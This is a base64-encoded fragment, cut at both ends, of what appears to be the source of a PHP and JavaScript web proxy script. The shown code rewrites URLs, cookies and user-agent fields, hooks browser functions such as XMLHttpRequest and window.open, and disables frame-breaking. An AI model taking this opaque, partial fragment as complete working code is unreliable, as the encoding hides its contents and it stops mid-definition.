2FycmF5a2V5XTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09dW5kZWZpbmVkKSBjb250aW51ZTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09MSkgaHRtbD1odG1sLnJlcGxhY2UocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSk7DQoJCQllbHNlIGlmKHJlZ2V4cF9hcnJheVswXT09Mil7DQoJCQkJYWRkcHJveHk9KHJlZ2V4cF9hcnJheS5sZW5ndGg+Mz9yZWdleHBfYXJyYXlbM106dHJ1ZSk7DQoJCQkJZnJhbWlmeT0ocmVnZXhwX2FycmF5Lmxlbmd0aD40P3JlZ2V4cF9hcnJheVs0XTpmYWxzZSk7DQoJCQkJaHRtbD10aGlzLnBhcnNlX2h0bWwocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSxodG1sLGFkZHByb3h5LGZyYW1pZnkpOw0KCQkJfQ0KCQl9DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KZm9ybV9idXR0b246bnVsbCwNCmZvcm1fZW5jcnlwdDpmdW5jdGlvbihmb3JtKXsNCglpZihmb3JtLm1ldGhvZD09J3Bvc3QnKSByZXR1cm4gdHJ1ZTsNCgkvL2FjdGlvbj1mb3JtLjxwaHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZTsNCgl2YXIgYWN0aW9uPWZvcm0uZ2V0RWxlbWVudHNCeU5hbWUodGhpcy5DT09LX1BSRUYpWzBdLnZhbHVlOw0KCWZvcih2YXIgaT0xO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKXsNCgkJaWYoZm9ybS5lbGVtZW50c1tpXS5kaXNhYmxlZCB8fCBmb3JtLmVsZW1lbnRzW2ldLm5hbWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udmFsdWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3Jlc2V0JykgY29udGludWU7DQoJCWlmKGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3N1Ym1pdCcpew0KCQkJaWYoZm9ybS5lbGVtZW50c1tpXS5uYW1lIT10aGlzLmZvcm1fYnV0dG9uKSBjb250aW51ZTsNCgkJCXRoaXMuZm9ybV9idXR0b249bnVsbDsNCgkJfQ0KCQl2YXIgcHJlZjsNCgkJaWYoIWFjdGlvbi5tYXRjaCgvXD8vKSkgcHJlZj0iPyI7DQoJCWVsc2UgcHJlZj0iJiI7DQoJCWFjdGlvbis9cHJlZitmb3JtLmVsZW1lbnRzW2ldLm5hbWUrIj0iK2Zvcm0uZWxlbWVudHNbaV0udmFsdWU7DQoJfQ0KCWxvY2F0aW9uLmhyZWY9dGhpcy5zdXJyb2dhZnlfdXJsKGFjdGlvbik7DQoJcmV0dXJuIGZhbHNlOw0KfSwNCg0Kc2V0QXR0cjpmdW5jdGlvbihvYmosYXR0cix2YWwpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYoYXR0cj09ImlubmVySFRNTCIpew0KCQlvYmpbYXR0cl09dGhpcy5wYXJzZV9hbGxfaHRtbCh2YWwpOw0KCQlyZXR1cm4gb2JqW2F0dHJdOw0KCX0NCg0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09Imhvc3RuYW1lIikgcmV0dXJuIHRoaXMuTE9DQVRJT05fSE9TVE5BTUU7DQoNCglpZihvYmo9PWRvY3VtZW50ICYmIGF0dHI9PSJjb29raWUiKXsNCgkJY29uc3QgQ09PS19SRUc9L14oW149XSopPShbXjtdKikoPzo7W1xzXFNdKj8pPyQvaTsNCgkJdmFyIHJlYWxob3N0PXRoaXMuTE9DQVRJT05fSE9TVE5BTUUucmVwbGFjZSgiL153d3cvaSIsIiIpLnJlcGxhY2UoIi4iLCJfIik7DQoJCXZhciBjb29ra2V5PXZhbC5yZXBsYWNlKENPT0tfUkVHLCJcJDEiKTsNCgkJdmFyIGNvb2t2YWw9dmFsLnJlcGxhY2UoQ09PS19SRUcsIlwkMiIpOw0KCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJY29va2tleT1wcm94ZW5jKGNvb2trZXkpOw0KCQkJY29va3ZhbD1wcm94ZW5jKGNvb2t2YWwpOw0KCQl9DQoJCXZhciBuZXdjb29raWU9cmVhbGhvc3QrIjw/cGhwIGVjaG8oQ09PS0lFX1NFUEFSQVRPUik7ID8+Iitjb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCWRvY3VtZW50LmNvb2tpZT1uZXdjb29raWU7DQoJCXJldHVybiBuZXdjb29raWU7DQoJfQ0KDQoJaWYob2JqPT1sb2NhdGlvbiAmJiBhdHRyPT0ic2VhcmNoIil7DQoJCWlmKHZhbC5zdWJzdHIoMCwxKT09Ij8iKSB2YWw9dmFsLnN1YnN0cigxKTsNCgkJdGhpcy5jdXJyX3VybG9iai5zZXRfcXVlcnkodmFsKTsNCgkJdmFsPXRoaXMuY3Vycl91cmxvYmouZ2V0X3VybCgpOw0KCQlhdHRyPSJocmVmIjsNCgl9DQoNCgl2YXIgcHJveHVybD12YWw7DQoJaWYoYXR0ciE9ImNvb2tpZSIgJiYgYXR0ciE9InNlYXJjaCIgJiYgYXR0ciE9Imhvc3RuYW1lIil7DQoJCXByb3h1cmw9dGhpcy5zdXJyb2dhZnlfdXJsKHZhbCk7DQoNCgkJLy8gdGFncyBmcmFtaWZpZWQgIG11c3QgbWF0Y2ggUkVHRVhQUyB3aXRoIHJlZ2V4cF9hcnJheVs1XQ0KCQlpZihvYmoudGFnTmFtZT09IkEiIHx8IG9iai50YWdOYW1lPT0iQVJFQSIpDQoJCQlwcm94dXJsPXRoaXMuZnJhbWlmeV91cmwocHJveHVybCw8P3BocCBlY2hvKE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOyA/Pik7DQoJCWVsc2UgaWYob2JqLnRhZ05hbWU9PSJGUkFNRSIgfHwgb2JqLnRhZ05hbWU9PSJJRlJBTUUiKQ0KCQkJcHJveHVybD10aGlzLmZyYW1pZnlfdXJsKHByb3h1cmwsPD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfQ0hJTEQpOyA/Pik7DQoJfQ0KDQoJaWYodGhpcy5VUkxfRk9STSl7DQoJCWlmKChvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJocmVmIikgfHwgYXR0cj09ImxvY2F0aW9uIil7DQoJCQl1cmxvYmo9dGhpcy5zdXJyb2dhZnlfdXJsX3Rvb2JqKHZhbCk7DQoJCQlpZighdXJsb2JqLmxvY2tlZCkgcHJveHVybD10aGlzLmFkZF9xdWVyeXN0dWZmKHByb3h1cmwsIj0mIik7DQoJCQl0aGlzLnRoZXRvcC5sb2NhdGlvbi5ocmVmPXByb3h1cmw7DQoJCX0NCgkJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCgl9DQoJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCn0sDQoNCmdldEF0dHI6ZnVuY3Rpb24ob2JqLGF0dHIpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYob2JqPT1kb2N1bWVudCAmJiBhdHRyPT0iY29va2llIil7DQoJCXZhciBvY29va2llcz10aGlzLmdldENvb2tpZUFycigpOw0KCQl2YXIgY29va2llcz0iIixvY29vazsNCgkJY29uc3QgQ09PS19SRUc9L14oW1xzXFNdKik8P3BocCBlY2hvKENPT0tJRV9TRVBBUkFUT1IpOyA/PihbXj1dKik9KFtcc1xTXSopKD86OyApPyQvaTsNCgkJZm9yKHZhciBrZXkgaW4gb2Nvb2tpZXMpew0KCQkJb2Nvb2s9b2Nvb2tpZXNba2V5XTsNCgkJCWlmKHR5cGVvZihvY29vaykhPXR5cGVvZigiIikpIGNvbnRpbnVlOw0KCQkJaWYob2Nvb2subWF0Y2goQ09PS19SRUcpPT1udWxsKSBjb250aW51ZTsNCgkJCXZhciByZWFsaG9zdD10aGlzLkxPQ0FUSU9OX0hPU1ROQU1FLnJlcGxhY2UoIi9ed3d3L2kiLCIiKS5yZXBsYWNlKCIuIiwiXyIpOw0KCQkJdmFyIGNvb2tob3N0PW9jb29rLnJlcGxhY2UoQ09PS19SRUcsIlwkMSIpOw0KCQkJaWYoY29va2hvc3Q9PXJlYWxob3N0KXsNCgkJCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJCQl2YXIgY29va2tleT10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyIikpOw0KCQkJCQl2YXIgY29va3ZhbD10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQzIikpOw0KCQkJCQljb29raWVzKz1jb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCQkJfQ0KCQkJCWVsc2UgY29va2llcys9b2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyPVwkMzsgIik7DQoJCQl9DQoJCX0NCgkJcmV0dXJuIGNvb2tpZXM7DQoJfQ0KDQoJaWYob2JqPT1uYXZpZ2F0b3Ipew0KCQlpZih0aGlzLlVTRVJBR0VOVD09Ii0xIiAmJiAoYXR0ciE9InBsdWdpbnMiICYmIGF0dHIhPSJtaW1lVHlwZSIpKSByZXR1cm4gdW5kZWZpbmVkOw0KCQlpZih0aGlzLlVTRVJBR0VOVD09IiIpIHJldHVybiBvYmpbYXR0cl07DQoJCXZhciBtc2llPXRoaXMuVVNFUkFHRU5ULm1hdGNoKC9tc2llL2kpOw0KCQljb25zdCBVQV9SRUc9L14oW15cL1woXSopXC8/KFteIFwoXSopWyBdKihcKD8oW147XCldKik7PyhbXjtcKV0qKTs/KFteO1wpXSopOz8oW147XCldKik7PyhbXjtcKV0qKTs/W15cKV0qXCk/KVsgXSooW14gXC9dKilcLz8oW14gXC9dKikuKiQvaTsNCgkJc3dpdGNoKGF0dHIpew0KCQkJY2FzZSAidXNlckFnZW50IjogcmV0dXJuIHRoaXMuVVNFUkFHRU5UOw0KCQkJY2FzZSAiYXBwQ29kZU5hbWUiOiByZXR1cm4gdGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpOw0KCQkJY2FzZSAiYXBwVmVyc2lvbiI6IHJldHVybiAobXNpZT90aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQyIFwkMyIpOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDIgKFwkNDsgXCQ3KSIpKTsNCgkJCWNhc2UgInBsYXRmb3JtIjoNCgkJCQl2YXIgdGVtcHBsYXRmb3JtPXRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDQiKTsNCgkJCQlyZXR1cm4gKHRlbXBwbGF0Zm9ybT09ImNvbXBhdGlibGUiIHx8IHRlbXBwbGF0Zm9ybT09IldpbmRvd3MiPyJXaW4zMiI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkNiIpKTsNCgkJCWNhc2UgIm9zY3B1IjogcmV0dXJuIChtc2llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQ2IikpOw0KCQkJY2FzZSAibGFuZ3VhZ2UiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDciKSk7DQoJCQljYXNlICJhcHBOYW1lIjoNCgkJCQl2YXIgdGVtcGFwcG5hbWU9KG1zaWU/Ik1pY3Jvc29mdCBJbnRlcm5ldCBFeHBsb3JlciI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpKTsNCgkJCQlpZih0ZW1wYXBwbmFtZT09Ik9wZXJhIiB8fCB0ZW1wYXBwbmFtZT09Ik1vemlsbGEiKSB0ZW1wYXBwbmFtZT0iTmV0c2NhcGUiOw0KCQkJCXJldHVybiB0ZW1wYXBwbmFtZTsNCgkJCWNhc2UgInByb2R1Y3QiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDkiKSk7DQoJCQljYXNlICJwcm9kdWN0U3ViIjogcmV0dXJuIChtc2llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQxMCIpKTsNCgkJCWNhc2UgInBsdWdpbnMiOiByZXR1cm4gKDw/cGhwIGVjaG8oKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pPycxJzonMCcpKTsgPz49PTE/bmF2aWdhdG9yLnBsdWdpbnM6dW5kZWZpbmVkKTsNCgkJCWNhc2UgIm1pbWVUeXBlIjogcmV0dXJuIG5hdmlnYXRvci5taW1lVHlwZTsNCgkJCWRlZmF1bHQ6IHJldHVybiB1bmRlZmluZWQ7DQoJCX0NCgl9DQoNCglpZihvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJzZWFyY2giKSB1cmw9bG9jYXRpb24uaHJlZjsNCgllbHNlIHVybD1vYmpbYXR0cl07DQoJdXJsPXRoaXMuZGVfc3Vycm9nYWZ5X3VybCh1cmwpOw0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09InNlYXJjaCIpIHVybD11cmwucmVwbGFjZSgvXlteP10qLywiIik7DQoJcmV0dXJuIHVybDsNCn0sDQoNCmV2ZW50aWZ5OmZ1bmN0aW9uKGExLGEyKXsNCglkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJdGhpcy5zZXRQYXJlbnRVUkwodGhpcy5DVVJSX1VSTCk7DQp9LA0KDQpzZXRQYXJlbnRVUkw6ZnVuY3Rpb24odXJsKXsNCglpZih0aGlzLnRoZXRvcCE9bnVsbCAmJiB0aGlzLnRoZXRvcCE9d2luZG93KXsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VybCcpLnZhbHVlPXVybDsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Byb3h5X2xpbmsnKS5ocmVmPXRoaXMuYWRkX3F1ZXJ5c3R1ZmYodGhpcy5zdXJyb2dhZnlfdXJsKHVybCksIj0tJiIpOw0KCX0NCn0sDQoNCnNldFBhcmVudFN0dWZmOmZ1bmN0aW9uKHByb3RvLHNlcnZlcil7IC8vIGFtYXppbmcgY3JlYXRpdml0eSB3aXRoIHRoZSBuYW1lIG9uIG15IHBhcnQNCgl2YXIgdG9wZG9jPXRoaXMudGhldG9wLmRvY3VtZW50Ow0KCXRvcGRvYy50aXRsZT1kb2N1bWVudC50aXRsZTsNCg0KCS8vIGZpbmQgYW5kIHNldCBzaG9ydGN1dCBpY29uDQoJdmFyIHRvcGhlYWQ9dG9wZG9jLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF07DQoJdmFyIGxpbmtzPXRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKTsNCgl2YXIgbGluaz1udWxsOw0KCWZvcih2YXIgaT0wOyBpPGxpbmtzLmxlbmd0aDsgaSsrKXsgaWYobGlua3NbaV0udHlwZT09ImltYWdlL3gtaWNvbiIgJiYgbGlua3NbaV0ucmVsPT0ic2hvcnRjdXQgaWNvbiIpIGxpbms9bGlua3NbaV07IH0NCg0KCWlmKHRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKS5sZW5ndGg+MCkgdG9waGVhZC5yZW1vdmVDaGlsZCh0b3Bkb2MuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKVswXSk7DQoNCgl2YXIgZmF2aWNvbj10b3Bkb2MuY3JlYXRlRWxlbWVudCgibGluayIpOw0KCWZhdmljb24udHlwZT0iaW1hZ2UveC1pY29uIjsNCglmYXZpY29uLnJlbD0ic2hvcnRjdXQgaWNvbiI7DQoJZmF2aWNvbi5ocmVmPShsaW5rPT1udWxsP3RoaXMuc3Vycm9nYWZ5X3VybChwcm90bysiOi8vIitzZXJ2ZXIrIi9mYXZpY29uLmljbyIpOmxpbmsuaHJlZik7DQoJdG9waGVhZC5hcHBlbmRDaGlsZChmYXZpY29uKTsNCn0sDQoNClhNTEh0dHBSZXF1ZXN0X3dyYXA6ZnVuY3Rpb24oeG1saHR0cG9iail7DQoJeG1saHR0cG9iai48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X29wZW49eG1saHR0cG9iai5vcGVuOw0KCXhtbGh0dHBvYmoub3Blbj08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LlhNTEh0dHBSZXF1ZXN0X29wZW47DQoJcmV0dXJuIHhtbGh0dHBvYmo7DQp9LA0KDQpYTUxIdHRwUmVxdWVzdF9vcGVuOmZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzFdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uc3Vycm9nYWZ5X3VybChhcmd1bWVudHNbMV0pOw0KCXJldHVybiB0aGlzLjw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fb3Blbi5hcHBseSh0aGlzLGFyZ3VtZW50cyk7DQp9LA0KDQovLyBXUkFQUEVEIEZVTkNUSU9OUyBBTkQgT0JKRUNUUw0KdGhldG9wOnRvcCwNCnRoZXBhcmVudDpwYXJlbnQsDQpzZXRUaW1lb3V0OndpbmRvdy5zZXRUaW1lb3V0LA0Kc2V0SW50ZXJ2YWw6d2luZG93LnNldEludGVydmFsLA0KZG9jdW1lbnRfd3JpdGVfcXVldWU6IiIsDQpwdXJnZTpmdW5jdGlvbigpew0KCXRoZWh0bWw9dGhpcy5kb2N1bWVudF93cml0ZV9xdWV1ZTsNCglpZih0aGVodG1sPT0iIikgcmV0dXJuOw0KCXRoZWh0bWw9dGhpcy5wYXJzZV9hbGxfaHRtbCh0aGVodG1sKTsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCS8vYWxlcnQodGhlaHRtbCk7IC8vIERFQlVHDQoJZG9jdW1lbnQud3JpdGVfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pih0aGVodG1sKTsNCn0sDQoNCnB1cmdlX25vcGFyc2U6ZnVuY3Rpb24oKXsNCgl0aGVodG1sPXRoaXMuZG9jdW1lbnRfd3JpdGVfcXVldWU7DQoJaWYodGhlaHRtbD09IiIpIHJldHVybjsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCWRvY3VtZW50LndyaXRlXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4odGhlaHRtbCk7DQp9DQoNCn0NCg0KLy8gfX19DQoNCi8vIEpBVkFTQ1JJUFQgRlVOQ1M6IFdSQVBQSU5HIHt7ew0KDQpkb2N1bWVudC53cml0ZV88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlOw0KZG9jdW1lbnQud3JpdGVsbl88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlbG47DQpkb2N1bWVudC53cml0ZT1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbDsgfQ0KZG9jdW1lbnQud3JpdGVsbj1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbCsiXG4iOyB9DQoNCndpbmRvdy5vcGVuXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz49d2luZG93Lm9wZW47DQp3aW5kb3cub3Blbj1kb2N1bWVudC5vcGVuPWZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwxKSByZXR1cm47DQoJdmFyIHVybD08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnN1cnJvZ2FmeV91cmwoYXJndW1lbnRzWzBdKTsNCglpZigodXJsLnN1YnN0cmluZygwLDEpPT0iXCIiIHx8IHVybC5zdWJzdHJpbmcoMCwxKT09IiciKSAmJiB1cmwuc3Vic3RyaW5nKDAsMSk9PXVybC5zdWJzdHJpbmcodXJsLmxlbmd0aC0xLHVybC5sZW5ndGgpKSB1cmw9dXJsLnN1YnN0cmluZygxLHVybC5sZW5ndGgtMSk7DQoJYXJndW1lbnRzWzBdPXVybDsNCglyZXR1cm4gd2luZG93Lm9wZW5fPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfQ0KDQpzZXRUaW1lb3V0PWZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzBdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGFyc2VfYWxsX2h0bWwoYXJndW1lbnRzWzBdLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKTsNCglyZXR1cm4gPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRUaW1lb3V0LmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0Kc2V0SW50ZXJ2YWw9ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHMubGVuZ3RoPDIpIHJldHVybjsNCglhcmd1bWVudHNbMF09PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5wYXJzZV9hbGxfaHRtbChhcmd1bWVudHNbMF0sImFwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCIpOw0KCXJldHVybiA8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnNldEludGVydmFsLmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0KLyogaG9va2luZyBmb3IgZXZhbCgpLCBub3QgbmVjZXNzYXJ5IGFueW1vcmUsIGJ1dCB3b3JrZWQgcmVsYXRpdmVseSB3ZWxsIGluIHRoZSBwYXN0DQovKmV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj1ldmFsOw0KZXZhbD1mdW5jdGlvbigpew0KCWlmKGFyZ3VtZW50cy5sZW5ndGg8MSkgcmV0dXJuOw0KCWFyZ3VtZW50c1swXT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnBhcnNlX2FsbF9odG1sKGFyZ3VtZW50c1swXSwiYXBwbGljYXRpb24veC1qYXZhc2NyaXB0Iik7DQoJcmV0dXJuIGV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfSovDQoNCi8vIHdyYXAgdG9wIGFuZCBwYXJlbnQgb2JqZWN0cyBmb3IgYW50aS1mcmFtZSBicmVha2luZw0KaWYoPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5QQUdFX0ZSQU1FRCl7DQoJaWYocGFyZW50PT10b3ApIHBhcmVudD1zZWxmOw0KCWlmKHRvcCE9c2VsZikgdG9wPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4udGhldG9wLmZyYW1lc1swXTsNCn0NCg0KLy8gfX19DQoNCi8vPC9zY3JpcHQ+PD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUkVHRVhQUyB7e3sNCg0KIyBUaGlzIGlzIHdoZXJlIGFsbCB0aGUgcGFyc2luZyBpcyBkZWZpbmVkLiAgSWYgYSBzaXRlIGlzbid0IGJlaW5nDQojIHBhcnNlZCBwcm9wZXJseSwgdGhlIHByb2JsZW0gaXMgbW9yZSB0aGFuIGxpa2VseSBpbiB0aGlzIHNlY3Rpb24uDQojIFRoZSByZXN0IG9mIHRoZSBjb2RlIGlzIGp1c3QgdGhlcmUgdG8gc2V0IHVwIHRoaXMgd29uZGVyZnVsIGJ1bmNoDQojIG9mIGluY29tcHJlaGVuc2libGUgcmVndWxhciBleHByZXNzaW9ucy4NCg0KDQojIFJFR0VYUFM6IENPTlZFUlNJT04gVE8gSkFWQVNDUklQVCB7e3sNCg0KZnVuY3Rpb24gYm9vbF90b19qcygkYm9vbCl7IHJldHVybiAoJGJvb2w/J3RydWUnOidmYWxzZScpOyB9DQpmdW5jdGlvbiBjb252ZXJ0YXJyYXlfdG9famF2YXNjcmlwdCgpew0KCWdsb2JhbCAkcmVnZXhwX2FycmF5czsNCgkkanM9J3JlZ2V4cF9hcnJheXM9bmV3IEFycmF5KCcuY291bnQoJHJlZ2V4cF9hcnJheXMpLiIpO1xuIjsNCglyZXNldCgkcmVnZXhwX2FycmF5cyk7DQoJd2hpbGUobGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpKXsNCgkJJGpzLj0icmVnZXhwX2FycmF5c1tcIiRrZXlcIl09bmV3IEFycmF5KCIuY291bnQoJGFycikuIik7XG4iOw0KCQlmb3IoJGk9MDskaTxjb3VudCgkYXJyKTskaSsrKXsNCgkJCSRqcy49InJlZ2V4cF9hcnJheXNbXCIka2V5XCJdWyRpXT1uZXcgQXJyYXkoIjsNCgkJCWlmKCRhcnJbJGldWzBdPT0xKSAkanMuPScxLCcuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVsyXSkuJ2csIicuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVszXSx0cnVlKS4nIic7DQoJCQllbHNlaWYoJGFyclskaV1bMF09PTIpICRqcy49JzIsJy5lc2NhcGVfcmVnZXhwKCRhcnJbJGldWzJdKS4iZyx7JGFyclskaV1bM119Ii4oY291bnQoJGFyclskaV0pPDU/bnVsbDonLCcuYm9vbF90b19qcygkYXJyWyRpXVs0XSkpLihjb3VudCgkYXJyWyRpXSk8Nj9udWxsOiIseyRhcnJbJGldWzVdfSIpOw0KCQkJJGpzLj0iKTtcbiI7DQoJCX0NCgl9DQoJcmV0dXJuIHN0cmlwc2xhc2hlcygkanMpOw0KfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFZBUklBQkxFUyB7e3sNCg0KZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQojICdpbWcnIHdhcyBpbiAkanNhdHRycy4uLiB3aGF0J3MgdGhhdCBmb3I/DQokanNhdHRycz0nKD86aHJlZnxzcmN8bG9jYXRpb258YWN0aW9ufGJhY2tncm91bmRJbWFnZXxwbHVnaW5zcGFnZXxjb2RlYmFzZXxsb2NhdGlvblwuaHJlZnxpbm5lckhUTUwpJzsNCiRqc2hvb2thdHRycz0iKD86eyRqc2F0dHJzfXxjb29raWV8c2VhcmNofGhvc3RuYW1lKSI7DQokanNob29rZ2V0YXR0cnM9Iig/OnskanNob29rYXR0cnN9fHVzZXJBZ2VudHxwbGF0Zm9ybXxhcHBDb2RlTmFtZXxhcHBOYW1lfGFwcFZlcnNpb258bGFuZ3VhZ2V8b3NjcHV8cHJvZHVjdHxwcm9kdWN0U3VifHBsdWdpbnMpIjsNCi8vJGpzaHRtbGF0dHJzPScoaW5uZXJIVE1MKSc7DQokanNtZXRob2RzPScobG9jYXRpb25cLig/OnJlcGxhY2V8YXNzaWduKSknOw0KJGpzbG9jaG9zdD0nKGxvY2F0aW9uXC5ob3N0KD86bmFtZSl7MCwxfSknOw0KLy8kanNsb2NzZWFyY2g9Jyhsb2NhdGlvblwuc2VhcmNoKSc7DQovLyRqc3JlYWxwYWdlPScoKD86KD86ZG9jdW1lbnR8d2luZG93KVwuKXswLDF9bG9jYXRpb24oPzooPz1bXlwuXSl8XC5ocmVmKXxkb2N1bWVudFwuZG9jdW1lbnRVUkl8W2Etel0rXC5yZWZlcnJlciknOw0KJGh0bWxhdHRycz0nKGRhdGF8aHJlZnxzcmN8YmFja2dyb3VuZHxwbHVnaW5zcGFnZXxjb2RlYmFzZXxhY3Rpb24pJzsNCg0KJGp1c3RzcGFjZT0iW1x0IF0qIjsNCiRwbHVzanVzdHNwYWNlPSJbXHQgXSsiOw0KJGFueXNwYWNlPSJbXHRcclxuIF0qIjsNCiRwbHVzc3BhY2U9IltcdFxyXG4gXSsiOw0KJG9wZXJhbmRzPSdbXCtcLVwvXCpdJzsNCiRub3RvcGVyYW5kcz0nW15cK1wtXC9cKl0nOw0KDQokcXVvdGVzZWc9Jyg/OiIoPzpbXiJdfFtcXFxcXSIpKj8ifFwnKD86W15cJ118W1xcXFxdXCcpKj9cJyc7DQokcmVnc2VnPSdcLyg/OlteXC9dfFtcXFxcXVwvKSo/XC8nOw0KDQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoKD86eyRxdW90ZXNlZ